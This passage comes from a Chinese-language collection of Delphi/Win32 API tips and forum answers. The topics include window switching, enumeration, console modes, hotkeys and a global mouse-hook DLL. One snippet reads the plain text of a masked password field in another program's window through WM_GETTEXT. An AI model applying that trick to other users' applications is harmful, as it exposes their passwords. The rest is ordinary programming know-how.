PWideChar(ColorScheme), 255, PWideChar(SizeName), 255));

// show the the theme path and file name.

ShowMessage(PWideChar(FileName));

// show the color scheme name

ShowMessage(PWideChar(ColorScheme));

// show the size name

ShowMessage(PWideChar(SizeName));

end;

finally

FreeLibrary(hThemeLib);

end;

end;


98/2000下切换前台窗口

Write by :lu0

98/2000下,有个公开的函数SetForegroundWindow,用于切换前台窗口.但是事实上,SetForegroundWindow并不能用于和其他进程的窗口协同工作,通常情况下SetForegroundWindow会调用FlashWindowEx来闪烁目标窗口,代表已经切换了窗口,但是这不是我们需要的.网络上有一些顶尖高手使用修改窗口切换的系统规则后,用SetForegroundWindow切换到其他进程的窗口,但是现在,我们有了UNDOCUMENTED的另外一个USER32函数:

SwitchToThisWindow(...);

来完成这项工作.

那么原型是怎么的呢? 下面就来揭晓了......

void WINAPI SwitchToThisWindow (

HWND hWnd, // Handle to the window that should be activated

BOOL bRestore // Restore the window if it is minimized

);

由于没有原型和库,我们在使用时通常用动态联接法.

typedef void (WINAPI *PROCSWITCHTOTHISWINDOW) (HWND, BOOL);

PROCSWITCHTOTHISWINDOW SwitchToThisWindow;

HMODULE hUser32 = GetModuleHandle("user32");

SwitchToThisWindow = (PROCSWITCHTOTHISWINDOW)GetProcAddress(hUser32, "SwitchToThisWindow");

{ Delphi Code:

procedure SwitchToThisWindow(hWnd:HWND;bRestore:Boolean);stdcall;external 'user32.dll';

}

这样,我们的任务就完成了.

*******************************

从Win98开始，微软更改了系统代码，一般的SetForegroundWindow只能将

状态栏中应用按钮闪烁，并没有将应用调到最前面。请使用下列函数：

function ForceForegroundWindow(hwnd: THandle): boolean;

const

SPI_GETFOREGROUNDLOCKTIMEOUT = $2000;

SPI_SETFOREGROUNDLOCKTIMEOUT = $2001;

var

timeout: DWORD;

begin

if ((Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion

> 4)) or

((Win32Platform = VER_PLATFORM_WIN32_WINDOWS) and

((Win32MajorVersion > 4) or ((Win32MajorVersion = 4) and

(Win32MinorVersion > 0)))) then begin

SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @timeout,

0);

SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0,

TObject(0), SPIF_SENDCHANGE);

Result := SetForegroundWindow(hWnd);

SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0,

TObject(timeout), SPIF_SENDCHANGE);

end

else

Result := SetForegroundWindow(hWnd);

end; { ForceForegroundWindow }

不过最后SystemParametersInfo恢复参数:

SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0,Pointer(timeout), SPIF_SENDCHANGE);

如果不去掉，在WIN2000下不灵

***********************

发现一个2000下面的方法，试一下

function AllowSetForegroundWindow( dwProcessId:DWORD): BOOL; stdcall;

implementation

function AllowSetForegroundWindow; external 'user32.dll' name 'AllowSetForegroundWindow';

****************

function ForceForegroundWindow(hWnd: THandle): BOOL;

var

hCurWnd: THandle;

begin

hCurWnd := GetForegroundWindow;

AttachThreadInput(GetWindowThreadProcessId(hCurWnd, nil), GetCurrentThreadId, True);

Result := SetForegroundWindow(hWnd);

AttachThreadInput(GetWindowThreadProcessId(hCurWnd, nil), GetCurrentThreadId, False);

end;

*********************

procedure ForceForegroundWindow(hwnd: THandle);

var

hlp: TForm;

begin

hlp := TForm.Create(nil);

try

hlp.BorderStyle := bsNone;

hlp.SetBounds(0, 0, 1, 1);

hlp.FormStyle := fsStayOnTop;

hlp.Show;

mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);

mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

SetForegroundWindow(hwnd);

finally

hlp.Free;

end;

end;

---------------------------------------

发现一个2000下面的方法，试一下

function AllowSetForegroundWindow( dwProcessId:DWORD): BOOL; stdcall;

function AllowSetForegroundWindow; external 'user32.dll' name 'AllowSetForegroundWindow';


关于枚举窗口

1。enumwindowsproc这个函数只要参数符合就行，名称随便取。

2。enumwindowsproc这个函数需要在form1=Tform之前定义，也就是在第一个uses后面定义，因为这个函数属于回调函数，不能定义为类的函数。

3。在enumwindowsproc这个函数中，每次得到的是一个window的handle,如果为0的话，你需要自己返回一个false给主调函数，而成功的话，就返回一个true给主调函数，enumwindows会自动枚举下一个窗体的句柄。


向Edit框发送字符

GetCursorPos(mPoint);

DTWND:=WindowFromPoint(mPoint);

SendMessage(dtwnd, WM_IME_CHAR,ord('A'),1);


文本框中*号文本的查看

Var

mPoint:TPoint;

Ret:LongInt;

mText:PChar;

mID:Integer;

Buf:Integer;

DTWND:HWND;

begin

GetMem(mText,1024);

try

GetCursorPos(mPoint);

DTWND:=WindowFromPoint(mPoint);

Ret:=SendMessage(DTWND,WM_GETTEXTLENGTH,0,0);

Buf:=LongInt(mText);

SendMessage(DTWND,WM_GETTEXT,1024,Buf);

Edit1.Text:=StrPas(mText);

finally

FreeMem(mText,1024);

end;

end;


用API更换控件的字体

var hControlFont: HFONT;

begin

hControlFont := CreateFont(14, 8, 0, 0, FW_NORMAL, 0, 0, 0,

ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,

DEFAULT_PITCH Or FF_DECORATIVE, 'Courier New');

SendMessage(handle, WM_SETFONT, hControlFont, 1);

end;


画一个窗口动画
DrawAnimatedRects() API


取得系统中当前焦点所在

function GetSysFocus : integer;

Var

hFgWin,FgThreadID,hFocusWin : integer;

Begin

hFgWin := GetForegroundWindow;

FgThreadID := GetWindowThreadProcessID(hFgWin, nil);

If AttachThreadInput(GetCurrentThreadID, FgThreadID, true) Then

Begin

hFocusWin := GetFocus;

result := GetFocus;

AttachThreadInput(GetCurrentThreadID, FgThreadID, False);

End

else

result := GetFocus;

End;


关于调用选择目录对话框

我们知道，Wind2000的标准的选择目录对话框，可以新建文件夹！那么在程序里面如何掉用这个功能呢？

只要在uFlag后面加上64即可！

BrowseInfo.ulFlags := BIF_RETURNONLYFSDIRS+64; //+64表示可以新建目录，支持右健菜单，+16表示显示一个Edit框。


如何获得桌面上任意窗口的标题并且更改标题？？

1.先用 Finwindow 找到Desktop窗口句柄（98下通常是0x00000080）,所有窗口都是它的子窗口(如你有SPY++会看得很清楚)，调用GetWindow()选GW_CHILD 可得其子窗口，选GW_HWNDNEXT或调用GetNextWindow()可得其平级下一窗口,作一递归函数既可得到所有窗口句柄；

2。对于带有title的窗口，调用GetWindowText()可得其标题，但要注意必须是该进程的顶级窗口，即其父窗口为Desktop,否则可能得到子窗口（如view）的显示内容,同理，调用SetWindowText()既可改变标题；

3。这个问题我不确定，仅供参考：驻留程序中装个钩子，当有窗口生成时响应；不知是否还有其他截取系统响应的方式如重载系统函数之类。


已知一个窗口的句柄HWND,如何强制关闭它

SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);

向窗口发送WM_CLOSE消息应该是可以的，如果不行可能是因为窗口停止响应，可用如下方法：

...

DWORD dwThreadId,dwProcessId;

HANDLE hProcess;

dwThreadId = GetWindowThreadProcessId(hWnd,&dwProcessId);

hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,dwProcessId);

if(hProcess==NULL) return FALSE;

// so bad !

TerminateProcess(hProcess);

...

不过，这不是一个好方法，以为这样终止一个进程，有时会产生意想不到的后果。


查阅所有可视窗口标题

运用API函数 GetWindow() 配合 GetWindowText() 逐一查出各视窗的标题

1. File | New Project 开始一个新的工程

2. 在 Form1 中安排 Button 与 Memo 各一

3. 在 Button1 的 OnClick 事件中撰写程式如下:

procedure TForm1.Button1Click(Sender: TObject);

var

hCurrentWindow: HWnd;

szText: array[0..254] of char;

begin

hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);

while hCurrentWindow <> 0 do

begin

if GetWindowText(hCurrentWindow, @szText, 255) > 0 then

Memo1.Lines.Add(StrPas(@szText));

hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

end;

end;


CreateDialog API

program Project1;

uses windows;

const

WM_CLOSE = $0010;

SW_SHOW = $5;

type

tagMSG = packed record

hwnd: HWND;

message: UINT;

wParam: WPARAM;

lParam: LPARAM;

time: DWORD;

pt: TPoint;

end;

var

h: hwnd;

w: hwnd;

bExit: boolean;

aMessage: TMsg;

function DialogProc(h: hwnd; uMsg: UINT; wParam: wParam; lParam: LPARAM): DWORD; stdcall;

begin

case umsg of

wm_close:

if MessageBox(h, 'Close this Window?', 'Confirm', MB_OKCANCEL+MB_ICONINFORMATION) = IDOK then

begin

DestroyWindow(h);

bExit := True;

end;

else

Result := 0;

end;

end;

begin

h := LoadLibrary('shell32.dll');

bExit := False;

if h = 0 then exit;

w := CreateDialog(h, PAnsiChar(1007), 0, @DialogProc);

FreeLibrary(h);

if w=0 then exit;

ShowWindow(W, SW_SHOW);

while not bExit do

begin

GetMessage(aMessage, 0, 0, 0);

TranslateMessage(amessage);

DispatchMessage(aMessage);

end;

end.

****************

procedure TForm1.Button2Click(Sender: TObject);

function dlgpro(dlghandle:hwnd;dlgmsg:uint;dlgwp:wparam;dlglp:lparam):boolean;stdcall;

var

adc:hdc;

arect:trect;

agdiobj:hgdiobj;

p:PAINTSTRUCT;

begin

case dlgmsg of

wm_initdialog:

begin

result:=true;

end;

wm_paint:

begin

BeginPaint(dlghandle,p);

agdiobj:=getstockobject(black_brush);

fillrect(p.hdc,p.rcPaint,agdiobj);

EndPaint(dlghandle,p);

end;

else

Result:=0;

end;

end;

var

ainstance,ret:thandle;

begin

ainstance:=loadlibrary('comdlg32.dll');

if ainstance <> 0 then begin

ret:=createdialog(ainstance,MAKEINTRESOURCE(1547),application.handle,@dlgpro);

if ret=0 then showmessage('Create dialog failed !');

freelibrary(ainstance);

end

else showmessage('Load library failed !');

end;


得到鼠标所在的子窗口
ChildWindowFromPoint


一个操作DOS窗口屏幕信息的例子

清除DOS控制台屏幕的过程。

procedure ClearScreen;

var

sbi : TConsoleScreenBufferInfo;

h: hwnd;

Cord:_COORD;

R:Cardinal;

begin

h:=GetStdHandle(STD_OUTPUT_HANDLE);

GetConsoleScreenBufferInfo(h,sbi);

Cord.X :=0;

Cord.Y :=0;

FillConsoleOutputCharacter(h,' ',sbi.dwSize.X * sbi.dwSize.Y,Cord,R);

SetConsoleCursorPosition(h,Cord);

end;


控制控制台程序全屏幕切换

switch a console application to full screen?

{

There is no documented way to make a console application fullscreen.

The following code works for both NT and Win9x.

For win NT I used the undocumented SetConsoleDisplayMode and

GetConsoleDisplayMode functions.

}

{

function GetConsoleDisplayMode(var lpdwMode: DWORD): BOOL; stdcall;

external 'kernel32.dll';

// lpdwMode: address of variable for current value of display mode

}

function NT_GetConsoleDisplayMode(var lpdwMode: DWORD): Boolean;

type

TGetConsoleDisplayMode = function(var lpdwMode: DWORD): BOOL;

stdcall;

var

hKernel: THandle;

GetConsoleDisplayMode: TGetConsoleDisplayMode;

begin

Result := False;

hKernel := GetModuleHandle('kernel32.dll');

if (hKernel > 0) then

begin @GetConsoleDisplayMode :=

GetProcAddress(hKernel, 'GetConsoleDisplayMode');

if Assigned(GetConsoleDisplayMode) then

begin

Result := GetConsoleDisplayMode(lpdwMode);

end;

end;

end;

{

function SetConsoleDisplayMode(hOut: THandle; // standard output handle

dwNewMode: DWORD; // specifies the display mode

var lpdwOldMode: DWORD // address of variable for previous value of display mode

): BOOL; stdcall; external 'kernel32.dll';

}

function NT_SetConsoleDisplayMode(hOut: THandle; dwNewMode: DWORD;

var lpdwOldMode: DWORD): Boolean;

type

TSetConsoleDisplayMode = function(hOut: THandle; dwNewMode: DWORD;

var lpdwOldMode: DWORD): BOOL;

stdcall;

var

hKernel: THandle;

SetConsoleDisplayMode: TSetConsoleDisplayMode;

begin

Result := False;

hKernel := GetModuleHandle('kernel32.dll');

if (hKernel > 0) then

begin @SetConsoleDisplayMode :=

GetProcAddress(hKernel, 'SetConsoleDisplayMode');

if Assigned(SetConsoleDisplayMode) then

begin

Result := SetConsoleDisplayMode(hOut, dwNewMode, lpdwOldMode);

end;

end;

end;

function GetConsoleWindow: THandle;

var

S: AnsiString;

C: Char;

begin

Result := 0;

Setlength(S, MAX_PATH + 1);

if GetConsoleTitle(PChar(S), MAX_PATH) <> 0 then

begin

C := S[1];

S[1] := '$';

SetConsoleTitle(PChar(S));

Result := FindWindow(nil, PChar(S));

S[1] := C;

SetConsoleTitle(PChar(S));

end;

end;

function SetConsoleFullScreen(bFullScreen: Boolean): Boolean;

const

MAGIC_CONSOLE_TOGGLE = 57359;

var

dwOldMode: DWORD;

dwNewMode: DWORD;

hOut: THandle;

hConsole: THandle;

begin

if Win32Platform = VER_PLATFORM_WIN32_NT then

begin

dwNewMode := Ord(bFullScreen);

NT_GetConsoleDisplayMode(dwOldMode);

hOut := GetStdHandle(STD_OUTPUT_HANDLE);

Result := NT_SetConsoleDisplayMode(hOut, dwNewMode, dwOldMode);

end

else

begin

hConsole := GetConsoleWindow;

Result := hConsole <> 0;

if Result then

begin

if bFullScreen then

begin

SendMessage(GetConsoleWindow, WM_COMMAND, MAGIC_CONSOLE_TOGGLE, 0);

end

else

begin

// Better solution than keybd_event under Win9X ?

keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), 0, 0);

keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), 0, 0);

keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), KEYEVENTF_KEYUP, 0);

keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), KEYEVENTF_KEYUP, 0);

end;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

s: string;

begin

AllocConsole;

try

SetConsoleFullScreen(True);

Write('Hi, you are in full screen mode now. Type something [Return]: ');

Readln(s);

SetConsoleFullScreen(False);

// ShowMessage(Format('You typed: "%s"', [s]));

finally

FreeConsole;

end;

end;


屏幕保护的更改密码对话框

MyMod := LoadLibrary(PChar(SysDir+'MPR.DLL'));

if MyMod <> 0 then begin

PwdFunc := GetProcAddress(MyMod,'PwdChangePasswordA');

if Assigned(PwdFunc) then

PwdFunc('SCRSAVE',StrToInt(Arg2),0,0);

FreeLibrary(MyMod);

end;


IP地址控件

use the IP Address Control in a Form ?

{

Microsoft? Internet Explorer Version 4.0 introduces the IP address control,

a new control similar to an edit control that allows the user to enter a

numeric address in Internet protocol (IP) format.

This format consists of four three-digit fields.

Each field is treated individually; the field numbers are zero-based and

proceed from left to right as shown in this figure.

Further informations

http://msdn.microsoft.com/library/en-us/shellcc/platform/commctls/ipaddress/ipaddress.asp

}

unit Unit1;

interface

uses

Windows, Messages, Classes, Forms, Controls, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

IPAddress: TBevel;

SetIP: TButton;

ClearIP: TButton;

procedure FormCreate(Sender: TObject);

procedure SetIPClick(Sender: TObject);

procedure ClearIPClick(Sender: TObject);

private

FIPAddress: Longint;

HIPAddress: HWND;

PrevWndProc: TWndMethod;

procedure NewWindowProc(var Message: TMessage);

public

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

uses

CommCtrl;

const

IP_ADDRESS_ID: Longword = $0100;

procedure TForm1.FormCreate(Sender: TObject);

var

lpInitCtrls: TInitCommonControlsEx;

begin

lpInitCtrls.dwSize := SizeOf(TInitCommonControlsEx);

lpInitCtrls.dwICC := ICC_INTERNET_CLASSES;

if InitCommonControlsEx(lpInitCtrls) then

begin

PrevWndProc := WindowProc;

WindowProc := NewWindowProc;

HIPAddress := CreateWindowEx(WS_EX_LEFT, WC_IPADDRESS, nil,

WS_CHILD + WS_VISIBLE + WS_BORDER + WS_TABSTOP,

IPAddress.Left, IPAddress.Top, IPAddress.Width, IPAddress.Height,

Handle, IP_ADDRESS_ID, HInstance, nil);

SendMessage(HIPAddress, IPM_SETFOCUS, 0, 0);

end;

end;

procedure TForm1.NewWindowProc(var Message: TMessage);

var

nField: longint;

begin

case Message.Msg of

WM_NOTIFY:

begin

if PNMHDR(Ptr(Message.lParam)).idFrom = IP_ADDRESS_ID then

begin

case PNMIPAddress(ptr(Message.lParam)).hdr.code of

IPN_FIELDCHANGED:

begin

if SendMessage(HIPAddress, IPM_ISBLANK, 0, 0) = 0 then

SendMessage(HIPAddress, IPM_GETADDRESS, 0, lParam(LPDWORD(@FIPAddress)));

end;

end;

end;

end;

WM_COMMAND:

begin

if Message.WParamLo = IP_ADDRESS_ID then

case Message.WParamHi of

EN_SETFOCUS:

begin

nField := SendMessage(HIPAddress, IPM_GETADDRESS, 0,

lParam(LPDWORD(@FIPAddress)));

if nField = 4 then nField := 0;

SendMessage(HIPAddress, IPM_SETFOCUS, wParam(nField), 0);

end;

EN_KILLFOCUS:

begin

if SendMessage(HIPAddress, IPM_ISBLANK, 0, 0) = 0 then

SendMessage(HIPAddress, IPM_GETADDRESS, 0, lParam(LPDWORD(@FIPAddress)));

end;

EN_CHANGE:

begin

end;

end;

end;

end;

if Assigned(PrevWndProc) then PrevWndproc(Message);

end;

procedure TForm1.SetIPClick(Sender: TObject);

begin

FIPAddress := MAKEIPADDRESS(127, 0, 0, 1);

SendMessage(HIPAddress, IPM_SETADDRESS, 0, lParam(DWORD(FIPAddress)));

end;

procedure TForm1.ClearIPClick(Sender: TObject);

begin

SendMessage(HIPAddress, IPM_CLEARADDRESS, 0, 0);

end;

end.


动态显示窗口最小化过程

下面的代码演示了动画显示最小化过程，缩小到系统Tray的：

procedure TForm1.Button1Click(Sender: TObject);

var

FormRect, TrayRect: TRect;

hTray : THandle;

begin

// Get handle of tray window

hTray := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'TrayNotifyWnd', nil);

if hTray <> 0 then

begin

// This is the source rect for the animation.

FormRect := BoundsRect;

// Get tray window's coordinates as a TRect. This will be the animation's destination rect.

GetWindowRect(hTray, TrayRect);

{

Now perform the actual animation. Note that this code only shows the

animation. It does NOT minimize this application to the tray. I leave

that up to yourself ;-)

Also notice that the Delphi Help documents are very wrong about this

function! Use the official MSDN docs located Microsoft's website.

Instead of IDANI_CAPTION you can also use IDANI_OPEN and IDANI_CLOSE, but

they don't seem to do anything... Maybe they are for future use?

}

if not DrawAnimatedRects(Handle, IDANI_CAPTION, FormRect, TrayRect) then

begin

MessageDlg('DrawAnimatedRects() failed!', mtError, [mbOK], 0);

end;

end

else

begin

MessageDlg('Can''t get tray window handle!', mtError, [mbOK], 0);

end;

end;

最小化到任务栏：

procedure TForm1.Button1Click(Sender: TObject);

var

FormRect, TrayRect: TRect;

hTray : THandle;

begin

// Get handle of tray window

// hTray := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'TrayNotifyWnd', nil);

hTray := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'ReBarWindow32', nil);

hTray := FindWindowEx(hTray,0,'MSTaskSwWClass',nil);

hTray := FindWindowEx(hTray,0,'SysTabControl32',nil);

if hTray <> 0 then

begin

// This is the source rect for the animation.

FormRect := BoundsRect;

// Get tray window's coordinates as a TRect. This will be the animation's destination rect.

GetWindowRect(hTray, TrayRect);

{

Now perform the actual animation. Note that this code only shows the

animation. It does NOT minimize this application to the tray. I leave

that up to yourself ;-)

Also notice that the Delphi Help documents are very wrong about this

function! Use the official MSDN docs located Microsoft's website.

Instead of IDANI_CAPTION you can also use IDANI_OPEN and IDANI_CLOSE, but

they don't seem to do anything... Maybe they are for future use?

}

if not DrawAnimatedRects(Handle, IDANI_CAPTION, FormRect, TrayRect) then

begin

MessageDlg('DrawAnimatedRects() failed!', mtError, [mbOK], 0);

end;

end

else

begin

MessageDlg('Can''t get tray window handle!', mtError, [mbOK], 0);

end;

end;


SendMessage的参数问题

第一个参数是WM_LBUTTONDOWN，第二个参数是位置应该怎么写？

var

pos:word;

begin

wordrec(pos).lo:=10; //X位置

wordrec(pos).hi:=10; //Y位置

sendmessage(button2.Handle,wm_lbuttondown,MK_LBUTTON,pos);

end;


启动屏保

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_SCREENSAVE,0);


模拟键盘输入

模拟键盘'a'输入

keybd_event(65,0,KEYEVENTF_EXTENDEDKEY,0); //KEYDOWN，

keybd_event(65,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0); //KEYUP

以上可成功实现，但我想按模拟Ctrl+Shift切换输入法

keybd_event(VK_MODECHANGE,0,KEYEVENTF_EXTENDEDKEY,0); //KEYDOWN，

keybd_event(VK_MODECHANGE,0,KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP,0); //KEYUP

却不能实现，谁能帮忙。为什么？？？？


如何向指定程序发送消息

如何向指定程序发送消息

如何向指定程序发送消息（并不是网络的发送）。需要用到 RegisterWindowMessage、SendMessage吗？又怎样用？请尽可能举例！谢谢

回复贴子：

回复人：PoolD(2000-8-13 1:04:00) 得150分

发送者：

var

SendText: string;

SendDataStruct: CopyDataStruct;

begin

SendText := 'Send';

SendDataStruct.cbData := length(Sendtext);

SendDataStruct.lpData := @SendText[1];

SendMessage(FindWindow(PCHAR('TForm1'), PCHAR('form1')), WM_CopyData, Application.Handle, lparam(@SendDataStruct));

end;

接收者：

procedure DataIn(var DataMessage: TWMCopyData); message wm_copydata;

procedure DataIn(var DataMessage: TWMCopyData);

var

ReceieveData : CopyDataStruct;

temp: pchar;

ReceieveStr : string;

begin

ReceieveData := DataMessage.CopyDataStruct^;

temp := ReceieveData.lpdata;

ReceieveStr := string(temp);

end;

回复人：xiaohuilau(2000-8-13 11:17:00) 得0分

PoolD:

我照你的方法做但会在SendMessage(FindWindow(PCHAR('TForm1'), PCHAR('form1')), WM_CopyData, Application.Handle, lparam(@SendDataStruct));出现错误

|

光标停在上面那处，出现[Error] hkproc.pas(72): Missing operator or semicolon错误

请教请教，万分感谢！

回复人：xiaohuilau(2000-8-13 11:19:00) 得0分

PoolD:

我照你的方法做但会在SendMessage(FindWindow(PCHAR('TForm1'), PCHAR('form1')), WM_CopyData, Application.Handle, lparam(@SendDataStruct));出现错误

&brvbar;

光标停在上面那处，出现[Error] hkproc.pas(72): Missing operator or semicolon错误

请教请教，万分感谢！

回复人：xiaohuilau(2000-8-13 11:20:00) 得0分

PoolD:

我照你的方法做但会在SendMessage(FindWindow(PCHAR('TForm1'), PCHAR('form1')), WM_CopyData, Application.Handle, lparam(@SendDataStruct));出现错误

光标停在'(@'那处，出现[Error] hkproc.pas(72): Missing operator or semicolon错误

请教请教，万分感谢！

回复人：xiaohuilau(2000-8-13 12:58:00) 得0分

PoolD:

**************

我试过了你的程序，在Form里测试是没有问题的。出现上面的错误原因系我把发送者放在 DLL 里。请问如何解决？

**************

谢谢

回复人：PoolD(2000-8-13 13:21:00) 得0分

to xiaohuilau:

试一下把Application.Handle改成0。

回复人：xiaohuilau(2000-8-13 18:49:00) 得0分

PoolD:

我照你的方法做但会在SendMessage(FindWindow(PCHAR('TForm1'), PCHAR('form1')), WM_CopyData, 0,lparam(@SendDataStruct));出现错误

光标停在** 'lparam(@sendDataStruct' **那处，出现[Error] hkproc.pas(72): Missing operator or semicolon错误

请教请教，万分感谢！

为了感谢你的帮助，我将分数加到了 150 分。

回复人：PoolD(2000-8-13 19:05:00) 得0分

to xiaohuilau

这段代码我试过，编译可以通过。我的一个程序就是用这种方法发送信息的。

是否可以把你写的这部分代码发给我看一下？

分数倒无所谓，重要的是解决问题。^_^

回复人：xiaohuilau(2000-8-13 19:11:00) 得0分

PoolD:我的代码如下

library hk;

uses

SysUtils,

Classes,

hkproc in 'hkproc.pas';

exports EnableHotKeyHook,DisableHotKeyHook;

begin

hNextHookProc:=0;

procSaveExit:=ExitProc;

end.

***************************************************

unit hkproc;

interface

uses Windows,Messages,Dialogs,SysUtils,ShellAPI;

var

intMainHWND:Longint;//主程序句柄，用于发送消息时用

Shell_TrayWnd:longint;

CtrlDown:Boolean;

hNextHookProc:HHook;

procSaveExit:Pointer;

function KHH(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

function EnableHotKeyHook(MainProgramHWND:longint):Bool;export;

function DisableHotKeyHook:bool;Export;

implementation

function KHH(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

const

_Keypressmask=$80000000;

var lpPoint:TPoint;

hwnd:longint;

strClassName,strTrayClassName:String;

SendText: string;//向主程序发送的消息串

SendDataStruct: CopyDataStruct;//消息类型

begin

result:=0;

if iCode<0 then

begin

Result:=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);

exit;

end;

//判断CLASSNAME 与 WND 所用的 LPPOINT 是不，同的。

GetCursorPos(lpPoint);

hwnd:=WindowFromPoint(lpPoint);//读取鼠标指向的控制句柄

SetLength(strClassName,255+2);

GetClassName(hwnd,PChar(strClassName),255);//读取句柄的名字

strClassName:=UpperCase(strClassName);

lpPoint.x :=LOWORD(lParam);//读取鼠标的X标

lpPoint.y :=HIWORD(lParam);//读取鼠标的Y标

hwnd:=WindowFromPoint(lpPoint);//读取鼠标指向的控制句柄

strTrayClassName:='SHELL_TRAYWND';//任务栏

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then

if hwnd=Shell_TrayWnd then

begin

if (wparam=WM_NCRBUTTONUP) or (wparam=WM_NCLBUTTONDOWN) then

begin

Result:=1;

exit;

end;

end;{if WND}

strTrayClassName:='SYSTABCONTROL';//任务栏

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then exit;

strTrayClassName:='TRAYNOTIFYWND';//页

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then

begin

if (wparam=WM_RBUTTONUP) then

begin

hwnd:=GetParent(GetParent(GetParent(hWnd)));

if hWnd=Shell_TrayWnd then Result:=1;

end;

end;

strTrayClassName:='BUTTON';//开始按钮

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then

begin

hwnd:=GetParent(hWnd);

if hWnd=Shell_TrayWnd then

begin

if (wparam=WM_RBUTTONUP) or (wparam=WM_LBUTTONDOWN) then Result:=1;

if wparam=WM_LBUTTONUP then

begin

SendText := 'Send';

SendDataStruct.lpData := @SendText[1];

SendDataStruct.cbData := length(Sendtext);

//***************** * * * * 当按下开始按钮时发送信息。

SendMessage(intMainHWND, WM_CopyData,0, lparam(@SendDataStruct));

//***************** * * * *

end;

exit;

end;{if hwnd}

end;

strTrayClassName:='REBARWINDOW';//页

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then

begin

if (wparam=WM_RBUTTONUP) or (wparam=WM_LBUTTONDOWN) then

begin

hwnd:=GetParent(hWnd);

if hWnd=Shell_TrayWnd then Result:=1;

end;

end;

strTrayClassName:='TOOLBARWINDOW';//工具栏

if Copy(strClassName,1,length(strTrayClassName))=strTrayClassName then

begin

if (wparam=WM_LBUTTONDOWN) or (wparam=WM_RBUTTONUP) or (wparam=WM_RBUTTONDOWN) then

begin

hwnd:=GetParent(GetParent(hWnd));

if hWnd=Shell_TrayWnd then Result:=1;

end;

end;

end;

function EnableHotKeyHook(MainProgramHWND:longint):Bool;export;

begin

intMainHWND:=MainProgramHWND;

Shell_TrayWnd:= FindWindow('Shell_TrayWnd', nil);

result:=False;

if hNextHookProc<>0 then exit;

hNextHookProc:=SetWindowsHookEx(WH_MOUSE,KHH,Hinstance,0);

Result:=hNextHookProc<>0;

end;

function DisableHotKeyHook:Bool;export;

begin

if hNextHookPRoc<>0 then

begin

UnhookWindowsHookEx(hNextHookProc);

hNextHookProc:=0;

MessageBeep(0);

end;

Result:=hNextHookProc=0;

end;

procedure HotKeyHookExit;

begin

if hNextHookProc<>0 then DisableHotKeyHook;

end;

end.

回复人：PoolD(2000-8-13 19:50:00) 得0分

function KHH(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

定义参数名的时候最好不要用保留字。

参数lParam和lparam(@SendDataStruct)重复了。

回复人：xiaohuilau(2000-8-13 20:28:00) 得0分

非常感谢 PoolD


响应热键

RegisterHotKey函数原型及说明：

BOOL RegisterHotKey(

HWND hWnd, // window to receive hot-key notification

int id, // identifier of hot key

UINT fsModifiers, // key-modifier flags

UINT vk // virtual-key code);

参数 id为你自己定义的一个ID值，对一个线程来讲其值必需在0x0000 - 0xBFFF范围之内，对DLL来讲其值必需在0xC000 - 0xFFFF 范围之内，在同一进程内该值必须唯一

参数 fsModifiers指明与热键联合使用按键，可取值为：MOD_ALT MOD_CONTROL MOD_WIN MOD_SHIFT

参数 vk指明热键的虚拟键码

首先（举个例子）：

RegisterHotKey(handle,globaladdatom('hot key'),MOD_ALT,vk_f12);

然后在form中声明一个函数（过程）：

procedure hotkey(var msg:tmessage);message wm_hotkey;

过程如下：

procedure TForm1.hotkey(var msg:tmessage);

begin

if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then

begin

form1.show;

SetForegroundWindow(handle);

end;

end;

这样，不管你在什么地方，窗口就会显示出来。

当然，你要GlobalDeleteAtom;

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

aatom:atom;

procedure hotkey(var msg:tmessage);message wm_hotkey;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

aatom:=globaladdatom('hot key');

RegisterHotKey(handle,aatom,MOD_ALT,vk_f12);

end;

procedure TForm1.hotkey(var msg:tmessage);

begin

if (msg.LParamHi=VK_F12) and (msg.LParamLo=MOD_ALT) then

SetForegroundWindow(handle);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

globalDeleteatom(aatom);

end;

end.


修改桌面空间的大小
